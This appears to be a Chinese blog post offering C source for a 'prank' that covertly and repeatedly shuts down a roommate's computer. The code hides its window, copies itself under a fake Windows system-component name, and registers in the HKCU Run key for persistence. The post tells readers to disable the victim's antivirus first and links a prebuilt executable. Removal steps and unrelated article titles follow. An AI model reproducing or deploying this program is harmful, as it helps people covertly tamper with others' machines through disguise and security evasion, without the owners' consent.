C语言定时关机恶搞

2023-11-29 07:10
文章标签 语言 定时 关机 恶搞

本文主要是介绍C语言定时关机恶搞,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

程序的功能:

1 :开机自启动关机以后再开机,程序自动在后台运行,到时间自动关机,关机时间可自己设定。

2:窗口是隐藏的,启动的时候没有任何现象,但是在任务管理器能看到

3:全年,非周末时间,早上6点到9点,中午12-2点,晚上10点之后都会自动关机

4:快乐方法:趁你的舍友不注意,使用它的电脑,然后运行该程序,舍友就会快乐起来了。

该程序适合在校大学生的舍友,经常在休息时间打游戏或者看直播并且大喊大叫时使用,效果非常明显,且持续效果久,且不易发现,本人命名为早中晚快乐程序。

控制台窗口隐藏程序:

#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"") // 设置入口地址

开机自启动程序:

char exepath[MAX_PATH] = { 0 };GetModuleFileName(NULL, exepath, MAX_PATH);//printf("%s\n", exepath);CreateDirectory("D:\\Pregram Files_t", NULL); CopyFile(exepath, "D:\\Pregram Files_t\\Windows System32 网络核心驱动组件.exe", TRUE);HKEY hkey;  RegOpenKey(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey);  RegSetValueEx(hkey, "Windows System32 网络核心驱动组件(谨慎操作)", 0, REG_SZ,          (const BYTE*)"D:\\Pregram Files_t\\Windows System32 网络核心驱动组件.exe", MAX_PATH);RegCloseKey(hkey); 

代码

#include <stdio.h>
#include<conio.h>
#include <windows.h> //系统头文件
#include <commctrl.h>
#include<time.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"") // 设置入口地址typedef struct Real_time {SYSTEMTIME ti;    //定义变量,存储系统时间 int second;int  minute;int  hour;int Milliseconds;}TIME, * PTIME;void Gettime(TIME* time) //获取系统时间并转化成int格式
{GetLocalTime(&(time->ti));     //获取系统时间time->second= time->ti.wSecond;time->minute=time->ti.wMinute;time->hour=time->ti.wHour;time->Milliseconds = time->ti.wMilliseconds;
}int main()
{srand((unsigned)time(NULL)); //随机种子char exepath[MAX_PATH] = { 0 };GetModuleFileName(NULL, exepath, MAX_PATH);//printf("%s\n", exepath);CreateDirectory("D:\\Pregram Files_t", NULL); CopyFile(exepath, "D:\\Pregram Files_t\\Windows System32 网络核心驱动组件.exe", TRUE);HKEY hkey;  RegOpenKey(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey);  //打开注册表RegSetValueEx(hkey, "Windows System32 网络核心驱动组件(谨慎操作)", 0, REG_SZ,          (const BYTE*)"D:\\Pregram Files_t\\Windows System32 网络核心驱动组件.exe", MAX_PATH);RegCloseKey(hkey); TIME time = { 0,0,0,0 }; //时间while (1){Gettime(&time);  //月份和日的判断:可以自行更改if ((time.ti.wMonth != 4 && time.ti.wDay != 10) ||(time.ti.wMonth != 4 && time.ti.wDay != 17) ||(time.ti.wMonth != 4 && time.ti.wDay != 24) ||(time.ti.wMonth != 4 && time.ti.wDay !=9)||(time.ti.wMonth != 4 && time.ti.wDay != 16)||(time.ti.wMonth != 4 && time.ti.wDay != 23)||(time.ti.wMonth != 4 && time.ti.wDay != 30)||(time.ti.wMonth != 5 && time.ti.wDay != 1)||(time.ti.wMonth != 5 && time.ti.wDay != 7) ||(time.ti.wMonth != 5 && time.ti.wDay != 14) ||(time.ti.wMonth != 5 && time.ti.wDay != 21) ||(time.ti.wMonth != 5 && time.ti.wDay != 28) ||(time.ti.wMonth != 5 && time.ti.wDay != 8) ||(time.ti.wMonth != 5 && time.ti.wDay != 15) ||(time.ti.wMonth != 5 && time.ti.wDay != 22) ||(time.ti.wMonth != 5 && time.ti.wDay != 29) ||(time.ti.wMonth != 6 && time.ti.wDay != 4) ||(time.ti.wMonth != 6 && time.ti.wDay != 11) ||(time.ti.wMonth != 6 && time.ti.wDay != 18) ||(time.ti.wMonth != 6 && time.ti.wDay != 25) ||(time.ti.wMonth != 6 && time.ti.wDay != 5) ||(time.ti.wMonth != 6 && time.ti.wDay != 12) ||(time.ti.wMonth != 6 && time.ti.wDay != 19) ||(time.ti.wMonth != 6 && time.ti.wDay != 26) ||(time.ti.wMonth != 7 && time.ti.wDay != 2) ||(time.ti.wMonth != 7 && time.ti.wDay != 3) ||(time.ti.wMonth != 7 && time.ti.wDay != 9) ||(time.ti.wMonth != 7 && time.ti.wDay != 10) ||(time.ti.wMonth != 7 && time.ti.wDay != 16) ||(time.ti.wMonth != 7 && time.ti.wDay != 17) ||(time.ti.wMonth != 7 && time.ti.wDay != 23) ||(time.ti.wMonth != 7 && time.ti.wDay != 24) ){if (time.hour >= 22 || (time.hour >= 6 && time.hour <= 9) || time.hour == 12 || time.hour == 13 || time.hour == 14){if (time.minute == 4 ||   //时间的判断time.minute == rand() % 59 ||time.minute == rand() % 59 ||time.minute == rand() % 59 ||time.minute == rand() % 59 ||time.minute == rand() % 59 ||time.minute == 30 ||time.minute == 59) {//关机程序system("shutdown -s -t 50");  //50s -r重启 -s关机exit(0);}}}}return 0;
}

编译时,记得把运行库改成多线程MT,把静态库包含到.exe文件中,否则你舍友的电脑没有安装VS就运行不了。

还有一点需要注意,在你舍友的电脑上运行时,记得先把杀毒软件关掉,否则程序没法加入注册表,没办法实现开机自启动的功能。

假如以上方法在你舍友的电脑上无法运行.exe程序的,还有一个方法:下载一个vcredist_msvc的环境安装包,先在电脑中安装VS的运行环境,再运行我们的快乐程序,运行成功的概率将会大大增加。

假如你没有安装VS,.exe程序我已经为你准备好了,你只需要在对应的电脑点击即可。

链接:https://pan.baidu.com/s/1JHeQJFyG1nwr-76RmP5HRg 
提取码:kgfi

点击之后就会出现

如何关闭程序

按win+R键

输入 regedit 进入注册表

 进入   计算机\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run目录,这里存放的文件都是开机自启动项(当然也可以在这个目录中放入你的.exe文件也会开机自启动)。

 把第二项,网络核心驱动删除,然后重启就行了。

快让你的舍友快乐起来吧!

这篇关于C语言定时关机恶搞的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/431913

相关文章

SpringQuartz定时任务核心组件JobDetail与Trigger配置

《SpringQuartz定时任务核心组件JobDetail与Trigger配置》Spring框架与Quartz调度器的集成提供了强大而灵活的定时任务解决方案,本文主要介绍了SpringQuartz定... 目录引言一、Spring Quartz基础架构1.1 核心组件概述1.2 Spring集成优势二、J

Go 语言中的select语句详解及工作原理

《Go语言中的select语句详解及工作原理》在Go语言中,select语句是用于处理多个通道(channel)操作的一种控制结构,它类似于switch语句,本文给大家介绍Go语言中的select语... 目录Go 语言中的 select 是做什么的基本功能语法工作原理示例示例 1:监听多个通道示例 2:带

java实现延迟/超时/定时问题

《java实现延迟/超时/定时问题》:本文主要介绍java实现延迟/超时/定时问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录Java实现延迟/超时/定时java 每间隔5秒执行一次,一共执行5次然后结束scheduleAtFixedRate 和 schedu

C语言函数递归实际应用举例详解

《C语言函数递归实际应用举例详解》程序调用自身的编程技巧称为递归,递归做为一种算法在程序设计语言中广泛应用,:本文主要介绍C语言函数递归实际应用举例的相关资料,文中通过代码介绍的非常详细,需要的朋... 目录前言一、递归的概念与思想二、递归的限制条件 三、递归的实际应用举例(一)求 n 的阶乘(二)顺序打印

Spring定时任务只执行一次的原因分析与解决方案

《Spring定时任务只执行一次的原因分析与解决方案》在使用Spring的@Scheduled定时任务时,你是否遇到过任务只执行一次,后续不再触发的情况?这种情况可能由多种原因导致,如未启用调度、线程... 目录1. 问题背景2. Spring定时任务的基本用法3. 为什么定时任务只执行一次?3.1 未启用

C语言中的数据类型强制转换

《C语言中的数据类型强制转换》:本文主要介绍C语言中的数据类型强制转换方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录C语言数据类型强制转换自动转换强制转换类型总结C语言数据类型强制转换强制类型转换:是通过类型转换运算来实现的,主要的数据类型转换分为自动转换

利用Go语言开发文件操作工具轻松处理所有文件

《利用Go语言开发文件操作工具轻松处理所有文件》在后端开发中,文件操作是一个非常常见但又容易出错的场景,本文小编要向大家介绍一个强大的Go语言文件操作工具库,它能帮你轻松处理各种文件操作场景... 目录为什么需要这个工具?核心功能详解1. 文件/目录存javascript在性检查2. 批量创建目录3. 文件

C语言实现两个变量值交换的三种方式

《C语言实现两个变量值交换的三种方式》两个变量值的交换是编程中最常见的问题之一,以下将介绍三种变量的交换方式,其中第一种方式是最常用也是最实用的,后两种方式一般只在特殊限制下使用,需要的朋友可以参考下... 目录1.使用临时变量(推荐)2.相加和相减的方式(值较大时可能丢失数据)3.按位异或运算1.使用临时

使用C语言实现交换整数的奇数位和偶数位

《使用C语言实现交换整数的奇数位和偶数位》在C语言中,要交换一个整数的二进制位中的奇数位和偶数位,重点需要理解位操作,当我们谈论二进制位的奇数位和偶数位时,我们是指从右到左数的位置,本文给大家介绍了使... 目录一、问题描述二、解决思路三、函数实现四、宏实现五、总结一、问题描述使用C语言代码实现:将一个整

Spring Boot 集成 Quartz 使用Cron 表达式实现定时任务

《SpringBoot集成Quartz使用Cron表达式实现定时任务》本文介绍了如何在SpringBoot项目中集成Quartz并使用Cron表达式进行任务调度,通过添加Quartz依赖、创... 目录前言1. 添加 Quartz 依赖2. 创建 Quartz 任务3. 配置 Quartz 任务调度4. 启